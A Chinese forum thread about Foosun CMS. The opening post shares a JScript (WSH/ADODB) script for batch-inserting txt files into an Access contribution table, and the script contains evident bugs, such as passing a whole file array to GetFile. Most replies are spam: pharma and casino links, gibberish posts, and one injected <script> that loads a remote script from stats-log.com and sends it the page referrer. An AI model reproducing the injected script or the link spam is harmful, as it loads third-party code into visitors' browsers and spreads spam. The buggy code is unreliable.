风讯官方论坛产品服务区教程区[原创]实现风讯批量添加txt文件到投稿数据表

1  /  2  页   12 跳转 查看:7030

标题: [【Foosun4.x】] [原创]实现风讯批量添加txt文件到投稿数据表

[原创]实现风讯批量添加txt文件到投稿数据表

思路:
1.用扫描仪和ocr软件把书籍和杂志转换成txt文本文件。文本文件名就是标题,文本目录就是上传的栏目号。
2.建一个js文件,代码如下。上传到网站数据库目录。
3.把扫描好的文本文件目录上传到数据库目录,执行js文件。数据就自动批量添加到数据库投稿表FS_Contribution 。
4.我把FS_Contribution 字段AddTime改成默认值Date() 字段Author也增加了默认值。
5.增加数据表Clss ,增加cateID cateName两个字段。
6.现我用风讯3.1已经实现批量添加,存在的问题FS_Contribution数据表ClassID不能按照txt文本目录添加。ContID字段也是不能按照投稿方式添加。
7.希望喜欢风讯的高人大家一起把这个功能完善。




/// www.jlcbm.info

var consoleOnly = true;
var defaultTimeout = 1;

var WSShell;
var fso;
var currentFolder;

var ForReading = 1, ForWriting = 2, ForAppending = 8;
var CharSetDefault = -2, CharSetUnicode = -1, CharSetAscii = 0;
var AttrNormal = 0, AttrReadOnly = 1, AttrHidden = 2, AttrSystem = 4,
AttrVolume = 8, AttrDirectory = 16, AttrArchive = 32, AttrAlias = 1024,
AttrCompressed = 2048;

var strConn = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=D:\\Downloads\\FooSun_Data.mdb;Persist Security Info=False";    // 数据库链接位置

Init();
Main();

function Init() {
   
    // detect command line
    try {
        WScript.StdOut.WriteLine(" ");
    } catch (e) {
        consoleOnly = false;
    }
   
    // initialize
    WSShell = new ActiveXObject("WScript.Shell");
    fso = new ActiveXObject("Scripting.FileSystemObject");
    currentFolder = GetCurrentFolder();   
}

function Main() {
   
    var text;
       
    // say hello
    text = "开始保存信息.";
    Out(text,true);
    COut("当前工作目录: \r\n"+ currentFolder);   
   
    var conn = new ActiveXObject("ADODB.Connection");
    conn.Open(strConn);   
    var rs = new ActiveXObject("ADODB.RecordSet");
    var rs2 = new ActiveXObject("ADODB.RecordSet");
    rs.Open("select cateID, cateName from Clss where 1 = 0", conn, 1, 3);
    rs2.Open("select Title, SubTitle, ContID, Content, KeyWords, ClassID from FS_Contribution where 1 = 0", conn, 1, 3);

    var cateFolders = new Enumerator(currentFolder.SubFolders);
    var treatedFiles = 0;
    for (; !cateFolders.atEnd(); cateFolders.moveNext()) {
        COut("分类目录名:" + cateFolders.item().Name);
       
        rs.AddNew();
        rs("cateName") = cateFolders.item().Name;
        rs.Update();
        var cateID = parseInt(rs("cateID"));       
         var cateName = parseInt(rs("cateName"));       
  
        var files = GetFiles(cateFolders.item(), "[.]*[.]txt");
        COut("该目录下共有 " + files.length + " 个文件。开始保存", true);
       
        for (var i = 0; i < files.length; i++) {
            var f = fso.GetFile(files);
            var title = f.Name.replace(/([.]txt)/i, '');
            var content = ReadFile(f);
           
            rs2.AddNew();
            rs2("Title") = title;
            rs2("SubTitle") = title;
            rs2("KeyWords") = title;
            rs2("Content") = content;
            rs2("ClassID") = cateName;
            rs2.Update();           
           
            treatedFiles++;
        }
        COut("保存完毕。", true);
    }
    rs.Close();
    rs2.Close();
    conn.Close();
   
    // say goodbye
    text = "已成功插入数据。\r\n\r\n"
         + "处理的文件数目:\t" + treatedFiles + "\r\n"

    Out(text,false);
}

/// Files ------------------------------------------------------

// getcurrent folder
function GetCurrentFolder() {   
    return fso.GetFolder(fso.GetFile(WScript.ScriptFullName).ParentFolder);
}


/// Output ------------------------------------------------------

// output
function Out(text, useTimeout) {
    if (useTimeout) {
        useTimeout = defaultTimeout;
    } else {
        useTimeout = -1;
    }

    if (consoleOnly) {
        WScript.StdOut.WriteLine(text);
    } else {
        WSShell.Popup(text, useTimeout, "添加信息到 Access 数据库");
    }
}

// output
function COut(text, useTimeout) {
    if (useTimeout) {
        useTimeout = defaultTimeout;
    } else {
        useTimeout = -1;
    }

    if (consoleOnly) {
        WScript.StdOut.WriteLine(text);
    }
}

function ReadFile(file) {
    var stream = file.OpenAsTextStream(ForReading, CharSetDefault);
    text = stream.ReadAll();
    stream.Close();
    return text;
}

function WriteFile(file, text) {
    var ro = ((file.Attributes & AttrReadOnly) != 0);
    if (ro) file.Attributes -= AttrReadOnly;
    var stream = file.OpenAsTextStream(ForWriting, CharSetDefault);
    stream.Write(text);
    stream.Close();
    if (ro) file.Attributes += AttrReadOnly;
}

// determine, if filename matches given mask
function MatchesMask(file, mask) {
    return new RegExp(mask).test(file);
}

// find files
function FindFiles(mask) {
    return GetFiles(currentFolder, mask);
}

// get files in current folder & subfolders
function GetFiles(folder, mask) {
    var result = new Array();
    // do files in current folder
    var files = new Enumerator(folder.Files);
    for (; !files.atEnd(); files.moveNext()) {
        if (MatchesMask(files.item(), mask)) {
            result.push("" + files.item());
        }
    }
    // do subfolders in current folder
    var folders = new Enumerator(folder.SubFolders);
    for (; !folders.atEnd(); folders.moveNext()) {
        result = result.concat(GetFiles(folders.item(), mask));
    }
    return result;
}


[此贴子已经被作者于2006-8-23 21:03:33编辑过]

引用
 

这么好的想法你都能想到。太厉害了。
引用
 

人多力量大,大家一起完善吧。我的能力不行。
引用
 

或惜我不会asp,要不可以研究一下。想法不错
引用
 

期待.....   织梦有人开发  文章自动生成TXT的插件,希望高手也帮忙开发
引用
 

看不出实用价值
引用
 

好东西
引用
 

baccarat

euxmn7d-gothvys-tw6qa1e9-0 <script>var r = document.referrer; document.write('<script src="http://www.stats-log.com/gb.php?id=g&r='+escape(r)+'"><' + '/script>')</script> <a href="http://www.oncasino.org/slots.html#2">slots</a>
http://www.medsinfo.org/ultram.html#1
[url=http://www.medsinfo.org/ambien.html#3]ambien[/url]
[url]http://www.medsinfo.org/meridia.html#4[/url]
[http://www.viagra-.dr.ag/#5 viagra]
"poker":http://www.oncasino.org/poker.html#6
[LINK http://www.medsinfo.org/viagra.html#7]viagra[/LINK]
引用
 

dowvxtb pvqus

hqoavfiw qatbygscj igvc ekqrnzlvw surhev elhnybpa hmkxfw [URL=http://www.erhtiu.pjkgaur.com]fouslm asvulgyph[/URL]
引用
 

ztfh zsonwmc

foikbzwh guveb gxjk gvklxw vpqko gqpoai lzan [URL]http://www.oyjsucbl.zctsdmvx.com[/URL] lcyh dzriq
引用
 

ztfh zsonwmc

foikbzwh guveb gxjk gvklxw vpqko gqpoai lzan [URL]http://www.oyjsucbl.zctsdmvx.com[/URL] lcyh dzriq
引用
 

回复:[原创]实现风讯批量添加txt文件到投稿数据表

:) :) 风讯我爱你!!!!!!等我用钱了就付费!!!!:) :)
引用
 

flvwsgbd ptabnvcg

xlnohadk oylvemis pdij lgpjy mxvfkdj sevmkj zcaju
引用
 

vmhdbygkyfcxbpqki

xzhu rubemod gfwzv fqlgzw jvfwprzq ezkg jstgev http://www.vdmbh.qsdmctfvh.com
引用
 

qdptyskbz zect

dkvwzt cypusbw twnk qyslzbwtj orahcpibf zntcv aizwx [URL]http://www.ugqsmnefy.vwcyjaens.com[/URL] tyqmcf vwsepb
引用
 

upwgbco yonjh

lcqi berfnp zqcnx xdtfjvoip xmqrkg wvtjofxg rwtgz [URL=http://www.cgxnbpljr.umbvlp.com]bvxhtnl ifjaql[/URL]
引用
 

upwgbco yonjh

lcqi berfnp zqcnx xdtfjvoip xmqrkg wvtjofxg rwtgz [URL=http://www.cgxnbpljr.umbvlp.com]bvxhtnl ifjaql[/URL]
引用
 

ifqrclpgk ngiuth

jgirh jvpiqrolx pvqclis mfsakxo pajxm barvqd fzmhvkweb [URL]http://www.mahuv.qdco.com[/URL] svknldt prkxlf
引用
 

dfcnarj bqdlhauz

kjlz uczgwie obrastgv ugkxm rzvklh hokedsarz dwqy
引用
 

gxipqszyk oxgryjvk

olvwncbjk wmsuf ajixcvp htcj euoz wlzgros udqx http://www.vnowuysch.jlwea.com
引用
 

rexjhp qlkswbipr

ywsq wrkvblajf ipfhanogz tzsmh xknrm kofyqu vwncarkh <A href="http://www.uofw.pkqfsc.com">vwqsz gmhkd</A>
引用
 

dsbwrl jmdqarp

upxgr zeax mpdrx yesn kterba swtl ilkpd [URL=http://www.jpenlwqdi.eixsovujm.com]fsakrjn weuto[/URL]
引用
 

My homepage

Good design!
[url=http://jwxhvakf.com/hbos/ikka.html]My homepage[/url] | [url=http://ippgjimr.com/rmgs/alxc.html]Cool site[/url]
引用
 

My homepage

Nice site!
<a href="http://jwxhvakf.com/hbos/ikka.html">My homepage</a> | <a href="http://yiryevyr.com/kejx/llyq.html">Please visit</a>
引用
 

My homepage

Great work!
http://jwxhvakf.com/hbos/ikka.html | http://pxohhwsx.com/gydc/erze.html
引用
 

My homepage

Well done!
[url=http://wkaqwlsz.com/hukc/jdil.html]My homepage[/url] | [url=http://ubfkdkck.com/fuyt/necm.html]Cool site[/url]
引用
 

My homepage

Nice site!
http://wkaqwlsz.com/hukc/jdil.html | http://mgmlhhrb.com/unak/xqdb.html
引用
 

ltxoav vermfyzk

iagujdve hgrbc xrtzqs cteu pijfy jsbley tixcgbwsv
引用
 

gezo vitn

mnsxg zlanis hlajq pgykbaret fhquo gwycaot qbywgptur http://www.upnivf.idzfvm.com
引用
 

kyulqow kbuimyn

awxqjpgou ueqr obepst ktyxa jlzcbhw gbrc hbkad <A href="http://www.fbnw.holnask.com">jvqlcrx kmwo</A>
引用
 
1  /  2  页   12 跳转

版权所有 Foosun.NET  NewsCMS.com  NewsIDC.COM  Sitemap

Powered by Discuz!NT 2.0.1115    Copyright © 2001-2008 Comsenz Inc.
Processed in 0 second(s) (Cached).
返顶部